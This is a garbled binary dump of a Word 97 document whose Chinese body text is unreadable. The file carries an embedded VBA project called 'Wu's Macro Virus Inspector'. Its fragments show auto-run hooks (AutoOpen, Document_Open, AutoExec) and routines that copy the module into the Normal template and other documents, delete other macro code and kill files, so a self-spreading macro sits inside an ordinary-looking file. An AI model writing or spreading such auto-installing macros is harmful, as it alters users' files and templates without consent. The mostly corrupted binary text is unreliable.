ࡱ> !=" Oh+'0`   ( 4@HPXҪָҪҪҪ Normal.dot ˰t4Microsoft Word 8.0@ @ZJ@P>C`` 0 BG ՜.+,D՜.+,< hp|   h Ҫָ Title 6> _PID_GUIDAN{08EACAD1-84F4-11D6-A2DF-00055D0B9964}0 BG;N ~ Nm c h h ~zN t^ c[ USMOCQ NOYu\pe y vL !kg+gpey vL !kg+gpeb/}pe ^6e^>k1 ;N%NR6eeQ16 X['2 ;N%NRb,g17 _Jd9(u3 vQNNR6eeQ18 V[DNSk8 [S]D;`23 6e^>k9 [6eD,g24 ^Nzё10 D,glQy25 vQ-N Nz 11 ~{[T TNpe26 vQN^N>k12 ~{[T Tё27 c9(u132814291530   ,6<>PRT(*fh$&TV "68LZCJCJo(o( CJ$PJo(* "*:BRTbfh~h$[$$lֈ B`'z+6        $$$ "*:BRTbfh~ &(*FJL^dfh"$&48:LRTVdjl~ c`h|$$$[$$lwֈ B`'z+6   &(*FJL^dfh|p[$$lwֈ B`'z+6  $$$"$&48:Lh`[$$lwֈ B`'z+6  $$$LRTVdjl~dp[$$lwֈ B`'z+6  $$$ "$*,.4D,[$$lwֈ B`'z+6  $$$ "$*,.468:@BDJLNZ   468:@BDJL,$$[$$lwֈ B`'z+6  $LNZ[$$lwֈ B`'z+6        7&P 182P0A .!"#$%S  [2@2cke$1$CJKHPJmH nHA@؞k=W[SO- !-ZL4LZ Z HISTy}~"@F_c{/ "*.@FPW_cks{/guestD:\nbcs\[l"zh!-!),.:;?]}    & 6"0000 0 0 00000 =@\]^([{  0 0 00000;[ird;N~Nmchh[l"zM $RZbjbj'2'2: EXEX-] Dy00000000$@:?00000:&008&&&0f000&&0LRoot EntryhIFIpIJ F'L?1TableIEWordDocumentIJ`IIDI9 SummaryInformation(,  <$%gZ0@AB#hiird3;N~Nmchhguestguest nbcswsbgxz ՜.+,D՜.+,< hp|   h Ҫָ Title 6> _PID_GUIDAN{08EACAD1-84F4-11D6-A2DF-00055D0B9964} Oh+'0`   ( 4@HPXҪָҪҪҪ Normal.dot ˰t4Microsoft Word 8.0@ @ZJ@P> 9yL-[DR $D:\MICROSOFT OFFICE\OFFICE\MSO97.DLLOffice Yk F] dD |il] d FDocument @  "#$%&'(+0./[Zh\]fgiRoot EntryhIFIpIJ F'-1TableIWordDocumentIJ`IIDI9 SummaryInformation(DocumentSummaryInformationi8HZ`ZxZWu's Macro!nspeE<] dD |il] dxd] d] d4(S"SS"6"(1normal.ThisDocument =?$*\Rffff*143d127bb6 ($H` $ $ $0h@0MExAttribute VB_Name = "ThisDocument" Bas1normal.VCreatabl`False PredeclaIdxTru "ExposeTemplate Deriv$CustomizcrU (A 4iacrU @pDz0* pHdProjectQ(@= l  =? J< rstdole>stdoleP f%\*\G{00 Oh+'0`   ( 4@HPXҪָҪguestues Normal.dotguest.d3esMicrosoft Word 8.0@Ik@ZJ@0I P ՜.+,D՜.+,< hp|   h3 Ҫָ Title 6> _PID_GUIDAN{08EACAD1-84F4-11D6-A2DF-00055D0B9964} [2@2cke$1$CJKHPJmH nHA@؞k=W[SO- ZL4LZ Z HISTy"@F_c{/ "*.@FPW_cks{/guestD:\nbcs\[l"zhDghiDocumentSummaryInformationi8HZ`ZxZWu's Macro$nspe0Table  !"#%&'()*+-./012Eird3;N~Nmchhguestguest nbcswsbgxz ՜.+,D՜.+,< hp|   h3  [2@2cke$1$CJKHPJmH nHA@؞k=W[SO- ZL4LZ Z HISTy"@F_c{/ "*.@FPW_cks{/guestD:\nbcs\[l"zh _PID_GUIDAN{08EACAD1-84F4-11D6-A2DF-00055D0B9964} Oh+'0`   ( 4@HPXҪָҪguestues Normal.dotguest.d3esMicrosoft Word 8.0@Ik@ZJ@0I P 9yL-[DR $D:\MICROSOFT OFFICE\OFFICE\MSO97.DLLOffice Yk F] dD |il] d FDocument @ x Inspector Version 8.2XZZDicrZ0ZHZ`ZxZWu's Macro Virus Inspector Z 4 *!6 2! 4 *%8 4'0s h'0f(Z 2$0'4  4 A 2! *B@<ha 4  4 *B@>hxhplh *!6  *B@>8l0  ' b F H DBJI Delete From Line Fto  F H A@Lea$elZ 8Dim cmd As CodeModule@  D!R  D%PeuHh@T8  D%V'4!vbext_pk_Proc)@  D%X'H" vbext_pk_Proc) 4 D%ZWu \ F D 4 HAB@huTxlpPZ  "C `!  \  `MAINANh l Document) VBProjectZ( VBProjectZ@ZXZpZ CodeModuleZ VBComponentsZZAn 2$0u0h( 2!l'l '6 2!p.d d!r.j h j!6 h j%8!t.` `A^ h h j!6 h j%8!t.` Scanning In `!A@L  " ` AN  `A^! h! 2A:! prj.VBComponents(1).Activate  6 A@@ l 2Av$"a 2(l0"hxap l 2(lD"hPhHl@Z@Document 2 z 2Abp" 2 | 2Ab"  ɱ δA@L"aδֺ겡A@Lhh' lXXZZ $u0h( MsgBox "Init""Document_Close Document_Open AutoCloseAutoOpen Document_NewAutoExecAutoNewAutoExitD'" !! A~: vbArchive) !.f fA' A@@'$l Wu's SubAxlWu's SubAxlHWu's SubAxlWu's SubAxlWu's SubZ $5 !pA:Axh nl( A B@Blh 'f 'l( A@LlhZ0 2B@ B@ B@ z!<. B@ B@ 2B@B  B@u $ 9 9C@nlP Z Ƿ񽫴ļ  ɾ  .$'  d(a   uhhT A@ Killed!ALuTCan not kill file ALl Dim doc As DocumentZ( Z@ ZX Zp Z Z 2!' 2! A~ 2!' a  2B@hu4 TempName = " c:\~XXXX1234567ToBeDelted" & "TMP.dot" MsgBox "open temp". doc.SaveAs FileName:=TempName, fileformat:=1 doc.Close Kill TempName On Error GoTo NewDocErr/ Set doc = Documents.Add(Template:=TempName) doc.SaveAs FileName:=NewNameu80(ʧܣA@l Dim pprj As Variant 'VBProjectZ  VBComponentZ8 ZP ZVersionh '.( j d!r . j!t!R  j!t%P j.(?' j!t%Z'   \'4 4    4  $$'hshx jf` Z  VBProjectZ .'& d !!! d$'  &  '& (.h df !!A Installed .A@lh0 Z  VBComponent j 2!p!r j!  j.s h .f  Z(  VBProjectZ@ X  VBComponentZp Z Z VirusInspect 2!l'l .j 2!p$'  &LQEuP   Upgraded .ALa Installed .ALh A@A@A@k 2 $.  2!p!r%<.7vbext_ct_StdModule )  (h  !t!R !tBJ j!t!R j!t%Z !tB l 2! 2Bh l XAttribute VB_Name = "VirusInspect" ' 0or Version 8.2 OptExpl@icit Dim KillCount Asxteger 2 sAutos 6Varian9bInitedBoolean5Latest{Doubleg_VBCom#JHDetedLisNew 0Coll ConLogo%Sng}Wu's Macro |pFunc{2(doc@R)InziFi61 To  T.c If *. Item(i)) The *i Exit T End* Nex 0  Sub Set!Flag 9, ByVal f6j)dK;A: A7f/i < 1 (q.AddGE5Els@#A> 0Remove QKGA ABC rReg(WhilePm @;,1endZGBDelC`ode(cXst, nYLon&gG= + 1all cm.Lines( ShowStatus (" Frg " & @b& "to+ na""a U ~Si@EAqi 'AcmB|!Moduy#a'A7NotFind( , 1B`Of `B^@! 8 O n Err nGo7m@ R Proc "rta F'vbd_pk_Jn`k$MH pxIn!("1), "Wu",T` A@pare)n`Cg9c5C, * D~:M`D!-(/ĥ !2%7AiaEach "In ")7md,?s) aBMmd&MAIN"$ Am!") 'Document 'VB@?jCprjo# obC.*,jda1 'bOa ܡEon`s ! savl 5*S4= o."AHp@d #X1 =A.pu 'j7ۢr. = qj).Q1$W0$"jm(V"Scanni3QV14 Q?6$A04 i/0OdO !5, Tru:e`'Aj(1).AАvsQ%Q;RRPqxu#a% afeS-Dq1)9P#FaV0}If#Xy FE+!GAll:DG !# bL`aoTemplAofJ9,ɱRδ δֺa= TbY*qKAQUXq`$m&كt"'MsgBox " X= Ar(rayoc_CPlose}"_POpen_S"!HFExec   1 ?t% InfprTo(0%\!?u=wEU( ! 4?o!?lĺ;7?o??ub( //!CF Ï,t@" With Dialogs(wdA,.5N-Ced"\Ye[, Q e) Call DetectAllEnd If With$Sub  DocClose(On Error GoTo normaInfTo(@Activeju0menthL:  =Skip -.iw0 FunWon MsgMode(s As Variad Int0eger" = msoBoonButtonYesn'qShowStatus(@ByVal .S`tring` B|ar(JHLes, Option),For ce7YBoolean+FalsчF 65Copbydoc~, NewNameŁ SZDim W | .^ateCSel@o*.Wh$StoryMt=Bzs.Add#PasA"| SaveChanges:=C promptJ;(AkExit L @ Dialo gs(wdCFileC.BS=8SA.f ftlwd@rmat V.n TKillA(PathlrA@,Box("Ƿļ" & & " ɾ", vbNoCancel, Logo5If ( vb) Then PdyNo+ Ba7@C " d"^#ed!"7@ $:M" t k - a6##%lSaf"?(PA/ '@Ahh %e, Is =hw!H1iHEN+ G(l'`8'#0vR d !nH "ʧܣ 4(yGetVer(prj!+5Doubl0( '1p  'VB0Proj@hS2VB8Compon@$er71I8i2Const Tagg" sn 00#g__othEach ѓIn .`z.B.Code@ule.Find(QX, 1"CountOfL9s +R)V  b2ݧ .&-%o= b ( $Fi0InPm,QDTFar5e1i > 0#F `(Right(Len) - i0ٰ)) @N@,qB P W-G L@6st()%-(- -eaE0N&w0@0''This?.Applica(E0$)3@8BB*> pd"? t(@ Sub setupg NUMXI0=Ped}5b 0vF06d9|~, zm#!hHp AjLPKr"Mes V>^+e0x$u  `Y[, bjp )Z*/sPd1ϡc SZmodnŹ"Viruspagg sC[`5 !40jC CaseIs >=1: S%NJ,pq/MH"Upgraded tq+110KCg"6/$"BeeH Beep End Select4Set ObjCom = FoundMod(doc, modname)XIf (XIs Nothing) ThenH.VBProj gponents.Add(1) 'vbext_ct_St{ule so|.NmIBfCallh.0Codef(.DteLines((1,C}tOf>'Insert'VBk 7 3 + 1)6 savedOn Error Resume NqFSAs.Full#C SubACionZ` WholeStory`Copyƿ`Paste` SaveChangest`promptm`SaveAsf;`wdDialogFileSaveAsN` fileformat`wdFormatDocument`KillFileű`Path2`ri`MsgBoxR` vbYesNoCancelq`vbCancel'`vbNo%`Kill`TempName! `nextline` vbArchive y`IsTemp;` SaveFormat`ErrSave7` NewDocErr.T`GetVerB`VerStr#`Tag&`NoVerO`Val`Right ` GetLatest`Verw`VBE` VBProjects'`setup`FoundModz`ObjCom%`modname:p`Beep` InsertLines`l   $020430-C 0046}#2.0#0#C:\WINDOWS\SYSTEM\STDOLE2.TLB# Automation ^mMSFo@rms> MSFErm@s/z pF85233722-264A-11D4-A2DFF4AC6CE3ACF3.TWD#MicrosPoft = ` Ob Libr8ary9P0rP95306EE3-2824Pc:\wi@ndows\JP \VBE\(EX(.E .`M Cxn@UalCxnTax +2 ,CN 6;+OfficDO@fiTcBxG{a8D04C-5BFf01B-BDE5fAA@ 42fD:\MICROSOFT OFFICE\MSO97.D LLg 8.0Eh³ThisDocumentN2-Th2sD@FcuQenHB1B,B,B"B+BCVirusInspC+ICVr@sI@sp`)cF{a!bK)^ *\CNormalrU~~~~~~~~j ] d    ] dq1 ThisDocumentProjectF=C:\PROGRAM FILES\COMMON FILES\MICROSOFT SHARED\VBA\VBA332.DLLVBA  9P F &D:\Microsoft Office\Office\MSWORD8.OLBWord )Q`0FC:\WINDOWS\SYSTEM\STDOLE2.TLBstdole Ap"7#J&la^ *\G{000204EF-0000-0000-C000-000000000046}#3.0#9#C:\PROGRAM FILES\COMMON FILES\MICROSOFT SHARED\VBA\VBA332.DLL#Visual Basic For Applications*\G{00020905-0000-0000-C000-000000000046}#8.0#0#D:\Microsoft Office\Office\MSWORD8.OLB#Microsoft Word 8.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\SYSTEM\STDOLE2.TLB#OLE Automation*\G{85233722-264A-11D4-A2DF-0004AC6CE3AC}#2.0#0#C:\WINDOWS\SYSTEM\MSForms.TWD#Microsoft Forms 2.0 Object Library*\G{95306EE3-2824-11D4-A2DF-0004AC6CE3AC}#2.0#0#c:\windows\TEMP\VBE\MSForms.EXD#Microsoft Forms 2.0 Object Library.E .`M *\CNormal*\CNormal6;+*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.0#0#D:\MICROSOFT OFFICE\OFFICE\MSO97.DLL#Microsoft Office 8.0 Object Library =?ThisDocument 143d127bb6*DVirusInspect 1a3d127f09*Da=8] d] dH 7RfV FormatNameWordk`VBA`Win16~`Win32`Mac`1p`stdole``MSFormsC` ThisDocument<` _Evaluate`normal`Officeu`Project-`Documentj`Module1b` VirusInspect` KillCount ` sAutoNamesG`bInited$}` LatestVerS`g_VBComu` DetectedList` CollectionW`Logo`Detecteds^`doc`i``count0v`Itemz`SetDetectedFlag۵`Addr`Removeϱ`ClearReg` DeleteCode$k`cm\`st(_`ne` DeleteLines ` ShowStatus`KillSubm`Findn` CountOfLines!\`Erro` ProcStartLine$`ProcCountLines`Lines` vbTextCompare Q` KillAutoMod`md:^` KillVirusR`prj:`obj`ja`VBCom`savedd`Init\[` VBProjectOh` VBComponents '` CodeModule`SafeSave` DetectAllx` Documents` Templatesh`SetAttrC` Application*`NormalTemplateq`FullNameО`InfectToL`AutoExec`AutoExit`AutoOpen*`AutoNew\3`FileOpen `Dialogs`wdDialogFileOpen`Show`ActiveDocument\`DocClose=`Skip`MsgModeo`sj`msoBalloonButtonYes` StatusBarʜ` MsgModeLessz` ForceShow `CopyTo[`NewName#`NewDoc+`Activate|` SelectC:\WINDOWS\SYSTEM\MSForms.TWDMSForms 1y.E .`M n0$(lc:\windows\TEMP\VBE\MSForms.EXD 9yL-[DR $D:\MICROSOFT OFFICE\OFFICE\MSO97.DLLOffice Yk F] dD |il] d FDocument @Module1 VirusInspectzrU~}  ipThisDocumentThisDocumentVirusInspectVirusInspectID="{08EACAD2-84F4-11D6-A2DF-00055D0B9964}" Document=ThisDocument/&H00000000 Module=VirusInspect Name="Project" HelpContextID="0" CMG="D7D5082F3851D755D755D755D755" DPB="7270ADD449D549D5CompObjDf49" GC="0D0FD275F611F711F7EE" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisDocument=0, 0, 0, 0, C VirusInspect=132, 132, 716, 639,   FMicrosoft Word ĵ MSWordDocWord.Document.89q